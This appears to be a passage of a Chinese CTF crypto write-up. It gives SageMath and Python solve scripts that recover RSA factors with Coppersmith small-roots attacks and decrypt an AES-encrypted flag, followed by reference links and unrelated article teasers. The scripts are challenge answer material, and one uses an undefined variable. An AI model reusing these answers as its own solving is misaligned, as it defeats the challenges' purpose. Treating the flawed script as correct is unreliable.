n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030


PR.<m> = PolynomialRing(Zmod(n))
f = P*Q*R-m*m*m-m*(P-m)*(Q-m)-m*m*((P-m)+(Q-m))-(R-m)*m*m-m*((P-m)+(Q-m))*(R-m)
f = f.monic()
m = f.small_roots(X=2^280, beta=0.4)
print(m)


r=m


#直接解密即可
r=105960538296223496551922954965164644267919720177702173352061963871195469608683
p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
e = 65537
n=p*r
phi = (r-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(m)
print(long_to_bytes(m))

首先已知高位攻击,由于flag没填充,直接就可以出了。不需要解第三个素数了

脚本2:

c=10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209

trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

'''

len_bin=len(bin(trick)[2:])

high='11111001001110111100110011111101010101010101000011001011000101010010000100011011110111000011000101101111000110110001010111001101111110111100000111110011111001010100101001110111010001011011100111000100100000110101111101010011010001101111101001111111000111011001010101100000011110000100100010010010011100101'

high_len=len(high)

low_len=512-high_len

PR.<x> = PolynomialRing(Zmod(clown))

f = int(high,2)*2^low_len +x

x0 = f.small_roots(X=2^low_len, beta=0.4)[0]

#76347864203588455868161824448305083084387260376528823546715135

p=int(high,2)*2^low_len +x0

print(p)

'''

p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711

q=clown//p

phi=(p-1)*(q-1)

from Crypto.Util.number import *

d=inverse(65537,phi)

print(long_to_bytes(pow(c,d,clown)))

脚本3:

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030

c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

PR.<x>=Zmod(clown)[]
f=trick+x
for cut in range(1,256):
    r=f.small_roots(X=2^cut,beta=0.4)
    if r:
        r=a[0]
        break

p=GCD(ZZ(f(r)),clown)
q=clown//p

PR.<x>=Zmod(n)[]
f=(P-x)*(Q-x)*(R-x)
f=f.monic()
m=ZZ(f.small_roots(X=2^256)[0])

N =p*q*m
phi = (p-1)*(q-1)*(m-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(c,d,N)
from Crypto.Util.number import *
print(long_to_bytes(ZZ(m)))

3.Alexei needs help

将迭代改为循环即可

from random import randint

import gmpy2 as gp

from Crypto.Util.number import *

from Crypto.Cipher import AES

from hashlib import md5

from binascii import *

from tqdm import tqdm

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

ct = 0x37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81

n = 2023

def seqsum(i):

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

    return ans

def home1work(n):

    if n == 1:

        return 1

    elif n == 2:

        return 1

    else:

        previous, current = 1, 1

        for i in tqdm(range(3, n + 1)):

            previous, current = current, (a * current + b * previous + seqsum(i)) % m

        return current

ans = home1work(n)

k = unhexlify(md5(str(ans).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

#data = flag + (16 - len(flag) % 16) * b"\x00"

data=long_to_bytes(ct)

ct = aes.decrypt(data)

print(ct)

#b"c7ceedc7197a0d350025fff478f667293ebbaa6b'\x00\x00\x00\x00\x00\x00\x00"

或者脚本:

memo = {}

import sys

sys.setrecursionlimit(100000)  

import gmpy2 as gp

a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq = [

    1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064,

    12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860,

    13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339,

    8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005,

    5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052,

    9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050,

    6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410,

    3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626,

    2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738,

    10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

n = 2023

def seqsum(i):

    if i in memo:

        return memo[i]

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

    memo[i] = ans

    return ans

def homework(i):

    if i in memo:

        return memo[i]

    if i == 1:

        result = 1

    elif i == 2:

        result = 1

    else:

        result = (a * homework(i - 1) + b * homework(i - 2) + seqsum(i)) % m

    memo[i] = result

    return result

result = homework(2023)

ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'

from Crypto.Cipher import AES

from binascii import *

from hashlib import *

k = unhexlify(md5(str(result).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

aes = AES.new(key=k, mode=AES.MODE_ECB)

print(aes.decrypt(unhexlify(ct)))

题目附件:链接:https://pan.baidu.com/s/1DWfylZ-VV9zKgiOHiGj8tw   提取码:kdfw 

参考文章

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://blog.csdn.net/jyttttttt/article/details/131146160

https://www.cnblogs.com/Aann/p/17473430.html

https://mp.weixin.qq.com/s/O8RXt7lOift-pgIiTJJY2g

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://mp.weixin.qq.com/s/ghQQ59c-K9C1VADVW-eVZQ

 https://mp.weixin.qq.com/s/Gi3dQ3mDs3mZCRGtT4l_dg

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/644591.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

django中url和视图函数path re_path views.py

目录 url的定义url的格式django中的urldjango中的创建自己的urldjango访问测试django中的path动态django中的path动态案例django中的path动态类型django中的path动态案例-计算器django的正则路由re_path() url的定义 url 统一资源定位符 url 用来表示互联网上某个资源的地址 …

邀请媒体参加活动的邀请函应该怎么写

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体网胡老师。 经常有小伙伴问媒体邀请函怎么写&#xff0c;今天胡老师就把媒体邀请函的一个大概格式分享出来&#xff0c;不论是 做成什么形式的邀请函&#xff0c;这几点都不可少。 主题&#xff1a;…

数据库的基本概念

数据库的基本概念 数据&#xff08;Data&#xff09; 描述事物的符号记录 包括数字、文字、图形、声音、档案记录等 以“记录”形式按统一的格式进行存储 表 将不同的记录组织在一起 用来存储具体数据 数据库 表的集合&#xff0c;是存储和管理数据的仓库 数据库管理…

linuxOPS基础_进程查看与管理

进程与程序的关系 进程是正在执行的一个程序或命令&#xff0c;每个进程都是一个运行的实体&#xff0c;并占用一定的系统资源。程序是人使用计算机语言编写的可以实现特定目标或解决特定问题的代码集合。 ​ 简单来说&#xff0c;程序是人使用计算机语言编写的&#xff0c;可…

三菱FX5U系列PLC之间进行简易PLC间链接功能的具体方法

三菱FX5U系列PLC之间进行简易PLC间链接功能的具体方法 功能介绍: 在最多8台FX5U或者FX3U PLC之间通过RS-485通信方式连接,进行软元件相互链接的功能。 接线注意事项: 根据链接模式和所使用的从站数量的不同,链接软元件的占用点数也有所变化。根据链接软元件的起始编号,对占…

Java数据结构之第十五章、Trie(前缀树/单词查找树)

一、前缀树 1.1前缀树相关知识 1.前缀树的概念&#xff1a;前缀树又叫字典树或单词查找树&#xff08;高效的存储和查找字符串集合的数据结构&#xff09;。 2.主要应用场景&#xff1a;给定一个字符串集合构建一颗前缀树&#xff0c;然后给定一个字符串&#xff0c;判断前缀…

Flink 流批一体在 Shopee 的大规模实践

摘要&#xff1a;本文整理自 Shopee 研发专家李明昆&#xff0c;在 Flink Forward Asia 2022 流批一体专场的分享。本篇内容主要分为四个部分&#xff1a; 1. 流批一体在 Shopee 的应用场景 2. 批处理能力的生产优化 3. 与离线生态的完全集成 4. 平台在流批一体上的建设和演进 …

华为OD机试 JavaScript 实现【扑克牌大小】【牛客练习题 HJ88】,附详细解题思路

一、题目描述 扑克牌游戏大家应该都比较熟悉了&#xff0c;一副牌由54张组成&#xff0c;含3~A、2各4张&#xff0c;小王1张&#xff0c;大王1张。牌面从小到大用如下字符和字符串表示&#xff08;其中&#xff0c;小写joker表示小王&#xff0c;大写JOKER表示大王&#xff09…

JavaScript笔记——快速了解 ES6 新增数组方法,开箱即用(含案例)

文章目录 &#x1f4cb;前言&#x1f3af;Array.from()&#x1f3af;Array.of()&#x1f3af;Array.find()&#x1f3af;Array.findIndex()&#x1f3af;Array.includes()&#x1f3af;Array.flat()&#x1f3af;Array.flatMap()&#x1f3af;Array.every()&#x1f3af;Array.…

MQTT相关知识点

目录 一、简述 二、设计规范 三、MQTT协议原理 3.1 MQTT协议实现方式 3.2 网络传输与应用消息 3.3 MQTT客户端 3.4 MQTT服务器 3.5 MQTT协议中的订阅、主题、会话 3.6 MQTT协议中的方法 四.MQTT脑图 五.体验MQTT 搭建MQTT服务器&#xff08;Broker&#xff09; MQT…

MFC 工具栏SOP 线程创建非模式化窗口 实现拓展工具栏

自己在学习工具栏的时候&#xff0c;做的笔记 1 实现基本工具栏 1.1 在Dlg.h文件中声明变量和定义资源ID #define ID_BUTTONS 501CToolBar m_toolbar; //工具栏 CImageList m_imageList; //工具栏图片 CImageList m_hotImageList; //工具栏热点图片 CReBar m_Rebar; //…

Jenkins安装以及部署

本文基于war包形式部署的 需要提前下载Jenkins的war包 Jenkins 的安装和设置下载内容 https://mirrors.jenkins.io/war 版本对应 目录 1.初始化环境 2.安装jdk 安装git Maven配置 安装Jenkins 使用DockerFile的方式进行部署 1.初始化环境 mkdir -p /home/soft 2.安装…

Python零基础入门(一)——Python简介与基础语法

系列文章目录 个人简介&#xff1a;机电专业在读研究生&#xff0c;CSDN内容合伙人&#xff0c;博主个人首页 Python入门专栏&#xff1a;《Python入门》欢迎阅读&#xff0c;一起进步&#xff01;&#x1f31f;&#x1f31f;&#x1f31f; 码字不易&#xff0c;如果觉得文章不…

智慧食堂如何建造?手把手教你

智慧食堂是现代科技与餐饮行业相结合的创新应用。随着技术的不断发展&#xff0c;许多企业和机构正积极采用智慧收银系统来改进食堂管理和收银流程。 引入智慧收银系统不仅可以提高企业食堂的运营效率&#xff0c;降低错误率&#xff0c;还能为企业带来更多的商机和竞争优势。 …

开源客户沟通平台Chatwoot

什么是 Chatwoot &#xff1f; Chatwoot 是一个开源客户沟通平台&#xff0c;可帮助公司在其网站、Facebook 页面、Twitter、Whatsapp、SMS、电子邮件等上吸引客户。 它是 Intercom、Zendesk、Salesforce Service Cloud 等的开源替代品。 很多网站的右侧或者右下角&#xff0c;…

中银国际在以太坊上发行代币化票据?三种可能,扑朔迷离!

* * * 原创&#xff1a;刘教链 * * * 号外&#xff1a;今天在“刘教链Pro”发表了一篇内参文章&#xff0c;《内参&#xff1a;对币本位高抛低吸策略的一点儿思考》&#xff08;次条&#xff09;&#xff0c;以及一篇原创文章《他提案将SEC主席Gary Gensler撤职》&#xff08;…

加速44%!RT-DETR量化无损压缩优秀实战

RT-DETR 模型是飞桨目标检测套件 PaddleDetection 最新发布的 SOTA 目标检测模型。其是一种基于 DETR 架构的端到端目标检测器&#xff0c;在速度和精度上均取得了 SOTA 性能。在实际部署中&#xff0c;为了追求“更准、更小、更快”的效率能力&#xff0c;本文使用飞桨模型压缩…

单元测试:构建可靠软件的关键步骤

点击上方“程序猿技术大咖”&#xff0c;关注并选择“设为星标” 回复“加群”获取入群讨论资格&#xff01; 引言&#xff1a; 在当今快节奏的软件开发环境中&#xff0c;构建可靠的软件是至关重要的。单元测试作为软件开发过程中的关键步骤之一&#xff0c;能够帮助开发者发现…

006、体系结构之TiKV读取和Coprocessor

TiKV读取和Coprocessor 1、数据的读取1.1、ReadIndex Read1.2、Follower Read 协同处理器(Coprocessor) 1、数据的读取 1.1、ReadIndex Read 例如此时要读取 key 1 的内容&#xff0c;它不能直接去kv中读取&#xff0c;因为它是分布式的&#xff0c;它经过TiDB Server 收到读…

认识ASP.NET MVC的5种AuthorizationFilter

一、IAuthorizationFilter 所有的AuthorizationFilter实现了接口IAuthorizationFilter。如下面的代码片断所示&#xff0c;IAuthorizationFilter定义了一个OnAuthorization方法用于实现授权的操作。作为该方法的参数filterContext是一个表示授权上下文的AuthorizationContext对…